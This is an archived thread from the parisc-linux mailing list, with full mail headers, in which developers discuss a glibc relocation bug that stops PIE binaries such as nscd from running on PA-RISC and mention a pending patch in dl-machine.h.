From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Getting PIE to work (was How to reclaim .rela.dyn
	entries for symbols that become hidden?)
Date: Fri, 08 Jul 2005 10:06:05 +0800
Lines: 20
Approved: news@gmane.org
Message-ID: <42CDDF8D.4000305@tausq.org>
References: <20050630165918.GG5269@systemhalted.org>	<200507071759.12521.vapier@gentoo.org>
	<42CDDD31.4030403@tausq.org> <200507072200.10597.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623839 15544 80.91.229.3 (22 Nov 2014 02:37:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Jul 2005 02:06:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx020) with SMTP; 08 Jul 2005 04:06:05 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D0DEB7D702;
	Thu,  7 Jul 2005 20:06:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24425-08; Thu, 7 Jul 2005 20:06:02 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 247967D6F6;
	Thu,  7 Jul 2005 20:06:02 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1DC417D6E5
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  7 Jul 2005 20:05:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24391-09 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 7 Jul 2005 20:05:57 -0600 (MDT)
Original-Received: from stl.com.hk (ip127.bb146.pacific.net.hk [202.64.146.127])
	by free.linux.hp.com (Postfix) with ESMTP id 5CDB77D6DD
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  7 Jul 2005 20:05:57 -0600 (MDT)
Original-Received: from rccomp.stl.com.hk ([192.168.100.200] helo=[127.0.0.1])
	by stl.com.hk with esmtp (Exim 4.50)
	id 1DqiDa-00073c-1r; Fri, 08 Jul 2005 10:03:54 +0800
User-Agent: Mozilla Thunderbird 1.0.2 (Windows/20050317)
X-Accept-Language: en-us, en
In-Reply-To: <200507072200.10597.vapier@gentoo.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 2bq/YhkxeSEkZr6WZHQhaXN1IGRvb0Cf
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22888

> ah, was not aware parisc kept a glibc cvs tree

we just added this recently to work on TLS.

I realized after I sent that last email that the pie patch probably has
some other dependencies so it may take some time to get it upstream. If
you want to look the changes are all in dl-machine.h

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Getting PIE to work (was How to reclaim .rela.dyn
	entries for symbols that become hidden?)
Date: Thu, 7 Jul 2005 23:23:18 -0400
Lines: 29
Approved: news@gmane.org
Message-ID: <20050708032318.GC5314@systemhalted.org>
References: <20050630165918.GG5269@systemhalted.org>
	<200507071759.12521.vapier@gentoo.org> <42CDDD31.4030403@tausq.org>
	<200507072200.10597.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623839 15550 80.91.229.3 (22 Nov 2014 02:37:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Jul 2005 03:23:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx064) with SMTP; 08 Jul 2005 05:23:40 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AA3B47D6FD;
	Thu,  7 Jul 2005 21:23:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25115-02; Thu, 7 Jul 2005 21:23:37 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8AA2A7D702;
	Thu,  7 Jul 2005 21:23:36 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 883537D6FD
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  7 Jul 2005 21:23:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24779-08 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 7 Jul 2005 21:23:33 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id E5C6D7D6FC
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  7 Jul 2005 21:23:32 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DqjSR-0002H4-00; Thu, 07 Jul 2005 23:23:19 -0400
Content-Disposition: inline
In-Reply-To: <200507072200.10597.vapier@gentoo.org>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (26% Sync Ratio [===.......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 65S/Yj8KeSEkMr6WZHQhaXN1IGRvb8Aj
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22889

On Thu, Jul 07, 2005 at 10:00:10PM -0400, Mike Frysinger wrote:
> On Thursday 07 July 2005 09:56 pm, Randolph Chung wrote:
> > > does that mean you're looking into fixing PIE on parisc ?  we noticed in
> > > Gentoo that nscd fails to run since glibc forces it to either be built as
> > > a PIE or not at all:
> > > root@mindcircus 0 ~ # nscd
> > > nscd: error while loading shared libraries: unexpected reloc type 0x42
> > >
> > > building anything as PIE fails due to this reloc ... looks like binutils
> > > generates relocs of type R_PARISC_PLABEL14 and R_PARISC_PLABEL21 but
> > > glibc only knows how to handle R_PARISC_PLABEL32 ...
> >
> > palinux glibc cvs has patch to do this. We'll propagate this upstream.
> 
> ah, was not aware parisc kept a glibc cvs tree
> 
> thanks for the great news :)

We haven't pulled from upstream since 2005-06-08. We are trying to get a
working TLS build :)

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Getting PIE to work (was How to reclaim .rela.dyn
	entries for symbols that become hidden?)
Date: Thu, 7 Jul 2005 17:59:12 -0400
Organization: wh0rd.org
Lines: 37
Approved: news@gmane.org
Message-ID: <200507071759.12521.vapier@gentoo.org>
References: <20050630165918.GG5269@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623839 15553 80.91.229.3 (22 Nov 2014 02:37:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:19 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Jul 2005 21:58:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx046) with SMTP; 07 Jul 2005 23:58:56 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8F6FE7D6D9;
	Thu,  7 Jul 2005 15:58:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23388-01; Thu, 7 Jul 2005 15:58:39 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EC2987D6BE;
	Thu,  7 Jul 2005 15:58:38 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 634357D6BA
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  7 Jul 2005 15:58:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22661-08 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 7 Jul 2005 15:58:34 -0600 (MDT)
Original-Received: from smtp.gentoo.org (smtp.gentoo.org [134.68.220.30])
	by free.linux.hp.com (Postfix) with ESMTP id D88037D6B8
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  7 Jul 2005 15:58:34 -0600 (MDT)
Original-Received: from localhost ([127.0.0.1] helo=home.wh0rd.org)
	by smtp.gentoo.org with esmtp (Exim 4.43) id 1DqeO9-0007AX-Fg
	for parisc-linux@lists.parisc-linux.org; Thu, 07 Jul 2005 21:58:33 +0000
Original-Received: (qmail 31213 invoked from network); 7 Jul 2005 17:54:36 -0400
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 7 Jul 2005 17:54:36 -0400
User-Agent: KMail/1.8.1
In-Reply-To: <20050630165918.GG5269@systemhalted.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 9sC/YoE1eSEkXL6WZHQhaXN1IGRvbwCp
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22890

On Thursday 30 June 2005 12:59 pm, Carlos O'Donell wrote:
> An example executable might look like this:
>
> Relocation section '.rela.dyn' at offset 0x2fc contains 11 entries:
>  Offset     Info    Type            Sym.Value  Sym. Name + Addend
> 00000000  00000000 R_PARISC_NONE                                00000000
> 00000000  00000000 R_PARISC_NONE                                00000000
> 00000000  00000000 R_PARISC_NONE                                00000000
> 00000000  00000000 R_PARISC_NONE                                00000000
> 00010420  00000542 R_PARISC_PLABEL21 0001054c   main + 0
> 00010424  00000546 R_PARISC_PLABEL14 0001054c   main + 0
> 00010430  00000442 R_PARISC_PLABEL21 000106e0   __libc_csu_init + 0
> 00010434  00000446 R_PARISC_PLABEL14 000106e0   __libc_csu_init + 0
> 00010438  00000242 R_PARISC_PLABEL21 00010770   __libc_csu_fini + 0
> 0001043c  00000246 R_PARISC_PLABEL14 00010770   __libc_csu_fini + 0
> 000108b4  00000841 R_PARISC_PLABEL32 00000000   _Jv_RegisterClasses + 0
>
> Lets not worry about wether this is optimal (It's not and the fix is to
> change glibc/sysdeps/hppa/start.S to use plabel words so these become 1
> reloc each).

does that mean you're looking into fixing PIE on parisc ?  we noticed in 
Gentoo that nscd fails to run since glibc forces it to either be built as a 
PIE or not at all:
root@mindcircus 0 ~ # nscd
nscd: error while loading shared libraries: unexpected reloc type 0x42

building anything as PIE fails due to this reloc ... looks like binutils 
generates relocs of type R_PARISC_PLABEL14 and R_PARISC_PLABEL21 but glibc 
only knows how to handle R_PARISC_PLABEL32 ...
-mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Getting PIE to work (was How to reclaim .rela.dyn
	entries for symbols that become hidden?)
Date: Fri, 08 Jul 2005 09:56:01 +0800
Lines: 24
Approved: news@gmane.org
Message-ID: <42CDDD31.4030403@tausq.org>
References: <20050630165918.GG5269@systemhalted.org>
	<200507071759.12521.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623840 15554 80.91.229.3 (22 Nov 2014 02:37:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:20 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
 parisc-linux@lists.parisc-linux.org
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Jul 2005 01:56:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx004) with SMTP; 08 Jul 2005 03:56:24 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D08AB7D6DD;
	Thu,  7 Jul 2005 19:56:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23732-08; Thu, 7 Jul 2005 19:56:18 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3BB5D7D6CD;
	Thu,  7 Jul 2005 19:56:18 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 310817D6C6
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  7 Jul 2005 19:56:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23872-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 7 Jul 2005 19:56:13 -0600 (MDT)
Original-Received: from stl.com.hk (ip127.bb146.pacific.net.hk [202.64.146.127])
	by free.linux.hp.com (Postfix) with ESMTP id 6F7FF7D6C3
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  7 Jul 2005 19:56:13 -0600 (MDT)
Original-Received: from rccomp.stl.com.hk ([192.168.100.200] helo=[127.0.0.1])
	by stl.com.hk with esmtp (Exim 4.50)
	id 1Dqi3r-0006yJ-Qw; Fri, 08 Jul 2005 09:53:51 +0800
User-Agent: Mozilla Thunderbird 1.0.2 (Windows/20050317)
X-Accept-Language: en-us, en
In-Reply-To: <200507071759.12521.vapier@gentoo.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: H7i/YrV+eSEkdr6WZHQhaXN1IGRvb4AP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22891

> does that mean you're looking into fixing PIE on parisc ?  we noticed in 
> Gentoo that nscd fails to run since glibc forces it to either be built as a 
> PIE or not at all:
> root@mindcircus 0 ~ # nscd
> nscd: error while loading shared libraries: unexpected reloc type 0x42
> 
> building anything as PIE fails due to this reloc ... looks like binutils 
> generates relocs of type R_PARISC_PLABEL14 and R_PARISC_PLABEL21 but glibc 
> only knows how to handle R_PARISC_PLABEL32 ...

palinux glibc cvs has patch to do this. We'll propagate this upstream.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Getting PIE to work (was How to reclaim .rela.dyn
	entries for symbols that become hidden?)
Date: Thu, 7 Jul 2005 22:00:10 -0400
Organization: wh0rd.org
Lines: 23
Approved: news@gmane.org
Message-ID: <200507072200.10597.vapier@gentoo.org>
References: <20050630165918.GG5269@systemhalted.org>
	<200507071759.12521.vapier@gentoo.org> <42CDDD31.4030403@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623840 15556 80.91.229.3 (22 Nov 2014 02:37:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:20 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Jul 2005 01:59:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx018) with SMTP; 08 Jul 2005 03:59:45 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 80E9D7D6DD;
	Thu,  7 Jul 2005 19:59:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24391-05; Thu, 7 Jul 2005 19:59:43 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AA6267D6E5;
	Thu,  7 Jul 2005 19:59:42 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A93247D6DC
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  7 Jul 2005 19:59:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24391-01 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 7 Jul 2005 19:59:39 -0600 (MDT)
Original-Received: from smtp.gentoo.org (smtp.gentoo.org [134.68.220.30])
	by free.linux.hp.com (Postfix) with ESMTP id 2BB127D6D9
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  7 Jul 2005 19:59:39 -0600 (MDT)
Original-Received: from localhost ([127.0.0.1] helo=home.wh0rd.org)
	by smtp.gentoo.org with esmtp (Exim 4.43) id 1Dqi9L-0007oY-6T
	for parisc-linux@lists.parisc-linux.org; Fri, 08 Jul 2005 01:59:31 +0000
Original-Received: (qmail 4871 invoked from network); 7 Jul 2005 21:55:30 -0400
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 7 Jul 2005 21:55:30 -0400
User-Agent: KMail/1.8.1
In-Reply-To: <42CDDD31.4030403@tausq.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: RLu/YmEHeSEkYL6WZHQhaXN1IGRvb0D7
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22892

On Thursday 07 July 2005 09:56 pm, Randolph Chung wrote:
> > does that mean you're looking into fixing PIE on parisc ?  we noticed in
> > Gentoo that nscd fails to run since glibc forces it to either be built as
> > a PIE or not at all:
> > root@mindcircus 0 ~ # nscd
> > nscd: error while loading shared libraries: unexpected reloc type 0x42
> >
> > building anything as PIE fails due to this reloc ... looks like binutils
> > generates relocs of type R_PARISC_PLABEL14 and R_PARISC_PLABEL21 but
> > glibc only knows how to handle R_PARISC_PLABEL32 ...
>
> palinux glibc cvs has patch to do this. We'll propagate this upstream.

ah, was not aware parisc kept a glibc cvs tree

thanks for the great news :)
-mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kurt Fitzner <kfitzner@excelcia.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Infinite error message from SDC driver on install
Date: Fri, 08 Jul 2005 18:16:38 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <42CF1766.8030608@excelcia.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623840 15559 80.91.229.3 (22 Nov 2014 02:37:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:20 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
